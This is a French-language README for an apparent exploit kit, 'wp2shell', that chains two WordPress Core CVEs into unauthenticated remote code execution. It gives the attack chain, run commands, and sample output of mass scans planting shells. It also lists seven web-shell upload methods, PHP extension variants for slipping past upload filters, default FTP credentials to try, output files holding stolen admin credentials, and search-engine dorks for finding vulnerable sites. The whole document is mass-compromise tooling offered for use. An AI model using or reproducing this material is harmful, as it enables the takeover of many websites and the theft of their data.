
WordPress Core RCE Pré-Auth — Confusion de routage par lots + Injection SQL
CVE-2026-63030 (confusion de route batch) + CVE-2026-60137 (injection SQL)
Kit d'exploitation sans dépendance pour la chaîne de vulnérabilités wp2shell dans WordPress Core. Une seule requête HTTP anonyme permet l'exécution de code à distance sur une installation WordPress par défaut, sans aucun plugin requis.
| Plage | Impact | Corrigé dans |
|---|---|---|
| 7.0.0 – 7.0.1 | RCE complète | 7.0.2 |
| 6.9.0 – 6.9.4 | RCE complète | 6.9.5 |
| 6.8.0 – 6.8.5 | SQLi uniquement | 6.8.6 |
Aucun plugin ni configuration spéciale requis. Une installation WordPress nue est exploitable.
┌─────────────────────────────────────┐
│ ANONYMOUS HTTP REQUEST │
│ POST /?rest_route=/batch/v1 │
└────────────────┬────────────────────┘
│
┌────────────────▼────────────────────┐
│ CVE-2026-63030: Batch Desync │
│ Malformed path → WP_Error → │
│ Array misalignment → Auth Bypass │
└────────────────┬────────────────────┘
│
┌────────────────▼────────────────────┐
│ CVE-2026-60137: SQL Injection │
│ author__not_in → unsanitized → │
│ UNION SELECT extraction │
└────────────────┬────────────────────┘
│
┌───────────┼───────────┐
│ │ │
┌────▼────┐ ┌───▼────┐ ┌───▼──────────┐
│ oEmbed │ │ Blind │ │ Changeset │
│ Seeding │ │ SQLi │ │ Re-entrancy │
│ Write │ │ Read │ │ Escalation │
│ Cache │ │ IDs │ │ → Admin User │
└────┬────┘ └───┬────┘ └───┬──────────┘
│ │ │
└───────────┼───────────┘
│
┌────────────────▼────────────────────┐
│ ADMIN CREATED (pre-auth!) │
│ → Login → Upload Shell (7 methods) │
└─────────────────────────────────────┘
pip install requests
python exploit.py
╔══════════════════════════════════════════════════════════════╗
║ WP2SHELL — WordPress Core Pre-Auth RCE Exploit ║
║ CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137 ║
║ Affected: WP 6.9.0 – 7.0.1 | Fixed: 6.9.5 / 7.0.2 ║
╚══════════════════════════════════════════════════════════════╝
[?] Target [url/list.txt] > list.txt
[?] Threads [15] > 15
python exploit.py
[?] Target [url/list.txt] > https://vulnerable-site.com
┌────────────────────────────────────────────────────────┐
│ SCAN CONFIGURATION │
├────────────────────────────────────────────────────────┤
│ Targets : 1 Threads : 1 Dir : wp_core_rce│
└────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────┐
│ EXPLOIT SUCCESS │
├────────────────────────────────────────────────────────┤
│ Method : direct-plugin │
│ Shell : https://target.com/wp-content/plugins/... │
│ Login : https://target.com/wp-login.php │
│ User : wp2s_abc123def │
│ Pass : WP2S!xxxxxxxxxxxxxxxx │
└────────────────────────────────────────────────────────┘
python exploit.py
┌────────────────────────────────────────────────────────┐
│ SCAN CONFIGURATION │
├────────────────────────────────────────────────────────┤
│ Targets : 500 Threads : 15 Dir : wp_core_rce │
└────────────────────────────────────────────────────────┘
┌────────────┬────────────────────────────────────────┬──────────────┐
│ │ │ │
│ #/TOTAL │ HOST │ STATUS │
├────────────┼────────────────────────────────────────┼──────────────┤
│ 1/500 │ vulnerable-site.com │ SHELL │
│ │ ↳ direct-plugin → https://vulnerabl... │
│ 2/500 │ target2.com │ ADM │
│ 3/500 │ safe-site.org │ SQLi │
│ 4/500 │ nope.com │ NO │
│ 5/500 │ jackpot.net │ SHELL │
│ │ ↳ theme-editor → https://jackpot.ne... │
└────────────┴────────────────────────────────────────┴──────────────┘
┌────────────────────────────────────────────────────────┐
│ SHELL 2 ADMIN 3 SQLi 15 TOTAL 50/500│
└────────────────────────────────────────────────────────┘
├────────────────────────────────────────────────────────┤
│ result.txt │ admin credentials │
│ result_upload.txt │ shell upload URLs │
│ log/scanned.txt │ scanned hosts │
└────────────────────────────────────────────────────────┘
requests seulement pour l'expander)log/scanned.txt ignore les cibles déjà scannéesLes 7 méthodes s'exécutent en parallèle via ThreadPoolExecutor. La première méthode qui réussit l'emporte et les autres sont annulées.
| # | Méthode | Description |
|---|---|---|
| 1 | direct-plugin | Téléverse le zip via /wp-admin/plugin-install.php |
| 2 | direct-theme | Téléverse le zip via /wp-admin/theme-install.php |
| 3 | rest-api | Envoie le zip en POST vers /wp-json/wp/v2/plugins avec cookie d'authentification |
| 4 | plugin-editor | Écrit le PHP directement via /wp-admin/plugin-editor.php |
| 5 | theme-editor | Écrit le PHP dans le répertoire du thème actif |
| 6 | ftp-bypass | Soumet les identifiants FTP lorsque WordPress les demande |
| 7 | media-upload | Téléverse le PHP via la médiathèque avec 15 variantes d'extension |
Extensions d'upload média : .phtml .php5 .php7 .php8 .pht .phar .shtml .php4 .phps .phtm .Php5 .PhP5 .pHtml .phP .PHP
Identifiants FTP essayés : localhost / 127.0.0.1 avec root / www-data / identifiants admin WordPress
| Fichier | Contenu |
|---|---|
result.txt | Identifiants admin : url.com/wp-login.php:user:pass |
result_upload.txt | URLs des shells : shell_url | login_url:user:pass | method |
log/scanned.txt | Tous les hôtes scannés (ignorés automatiquement lors d'une nouvelle exécution) |
http.title:"WordPress"
http.component:"WordPress"
app="WordPress"
body="wp-json"
body="/batch/v1"